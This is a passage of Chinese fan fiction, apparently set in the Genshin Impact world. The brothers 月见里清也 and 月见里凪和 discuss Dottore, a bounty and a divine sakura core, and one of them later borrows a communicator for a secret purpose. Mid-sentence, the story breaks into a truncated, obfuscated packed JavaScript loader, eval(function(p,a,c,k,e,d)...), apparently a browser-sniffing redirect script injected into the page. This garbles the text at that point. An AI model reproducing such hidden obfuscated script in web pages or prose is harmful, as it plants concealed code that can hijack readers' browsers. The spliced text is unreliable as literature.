“我们放慢了脚步,但敌人却不会。” 要是一般的对手也就罢了,可他面对的是博士,还有那个不知道什么时候会来的世界末日,月见里清也便不敢有丝毫懈怠。 他们从一开始缺的就不是金钱,而是时间。 更何况,草神让月见里凪和进因论派,肯定不会是为了提供一个合适的身份,这点估计他哥心里也清楚。 只可惜月见里清也从来没有捆束在历史里,比起他,月见里凪和的确才是那个很适合进因论派的人。 更何况,他也需要摆脱这几百年来他哥干什么他就干什么的习惯了。 青羽澈口中的“资格”指的到底是什么,月见里清也尚且不知道,但毫无疑问的,想要拿回完整的《絵空事》,首先就要摆脱这种亦步亦趋的状态了。 月见里凪和点点头,他就顺嘴一问,既然月见里清也眼下有更要紧的事,他也不会强求。 “那你什么时候入学?”月见里清也把喝了一半的茶水放下,问道。 “过一阵,不急。”月见里凪和给他重新添上水,随后抬眸看着月见里清也,“怎么,还想自己偷偷摸摸的溜出去?” 嘴里薄荷糖的凉气压下去,月见里清也心有余悸的说:“我哪敢啊。” 这次是薄荷糖,下次估摸着就是拿冰雾花炒盘菜给他吃了。 月见里凪和看着他这幅样子,就知道他心里默默编排自己,“我竟然不知道,原来这世上还有你不敢的事。” 俩人就这么你一言我一句的说,也不知道这句话哪里戳中了月见里清也的笑点,他没忍住笑出声,“你不觉得,咱俩和个小孩子一样,揪着这一件事在这里翻来覆去争论个没完吗?” 月见里凪和:“……” 他不置可否,就算和个小孩子一样,也是让月见里清也带偏的。 他靠在沙发上,看着月见里清也还没收敛起来的笑意,自己的嘴角也不自觉地微微勾起。 “好了不闹了,说正事。”月见里清也微微收敛了笑意,“如果幕后之人聪明,那么我顺着假冒愚人众的这伙人扒下去,恐怕不会捞出太多有效信息,但如果与之相反……” 月见里凪和沉声道:“他们就是在等你自投罗网。” 月见里清也点点头,“我之所以说这事与青羽澈有关,是因为在多托雷看来,我身上唯一值得他研究的,恐怕就是神樱核心了。” “他虽然没有对我身体中的核心进行过完整的研究,可那块断片却是在他手里存放了一百多年。” 博士绝不可能没有研究过那块断片,也正是因为研究过,所以才会对月见里清也身体里的完整核心如此执着。 而在降神计划最后,青羽澈用一个看似仿造的核心,代替了他原本身体中真正的神樱核心。但月见里清也更倾向于这个核心是真的,毕竟想用仿造的东西骗过博士可不是一件简单的事。 “我不信他是在离开须弥之后,才发现核心是虚假的,虽然说想要瞒住他并非不可能,”月见里清也说着摇了摇头,“说些真假参半的消息就好,但不能全是假的,他可不是傻子。” 午后阳光从窗户外透进来,洒在二人身上。月见里清也右手撑在沙发上抵着头,又恢复成那副懒洋洋的姿态,“尤其是他敢拿着核心去跟多托雷做交易,最起码,这场谈判的‘主题’不能是假的。” 更何况,青羽澈多次对他们二人强调,他所交出去的核心并不是仿制品。 月见里凪和替他说出了他心中所想,“所以,真正的麻烦并不是这场闹剧的幕后之人是谁,而是这个核心从何而来?以及多托雷那个疯子又研究出来了什么成果,才会让这帮人不惜打着他的名义,对你发布悬赏。” 月见里清也用左手打了个响指,“就是这个意思。” 前者他暂时没有特别好的办法,去问青羽澈他也不会说的。至于后者就简单很多了,那帮人已经准备好网了,他只好赏个脸,亲自去一趟了。 捕捉猎物时要用合适的猎网,如果他们的准备仅仅是为了捕捉一个从实验室逃脱的实验品,那在面对真正的月见里清也时,这些准备就有些不够看了。 月见里凪和心里清楚,月见里清也打算独自解决这件事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月见里凪和眉尾一扬,不明就里。 解开通讯器后月见里清也便松了手,他仔细收好这根链子后说:“过几天还给你,别这么小气。” “小气”这个词显然跟月见里凪和搭不上边,他只是对月见里清也这个行为有些意外罢了。 但不管他怎么问,月见里清也只字不提自己要干什么,打定主意要保密到底。问不出来的月见里凪和只好作罢,无非是对通讯器再进行改良,很快对这件事失了兴趣。 接下来的两天里,月见里清也买回来的材料越来越多,月见里凪和原本已经压下的疑问又被勾起来。起初因为通讯器被“借”走,他无法像往常一样获取暗线的情报,误以为月见里清也又在筹谋着什么,可每次询问时,月见里清也要么装傻充愣,要么转移话题。 最后,他也仅仅是勉强得知,月见里清也忙活的事与暗线和幕后主使无关。 直到时间到了12月最后一天,这一天过去,日历上的时间就走到了尽头,明天就是新的一年。 月见里凪和视线无意中扫过新的日历,看到一月的某个日子,微微一怔,随即又想起月见里清也这几天一切不正常的行为,此刻都有了解释。 但他什么都没说,也不再去旁敲侧击,只当做什么都没有发生。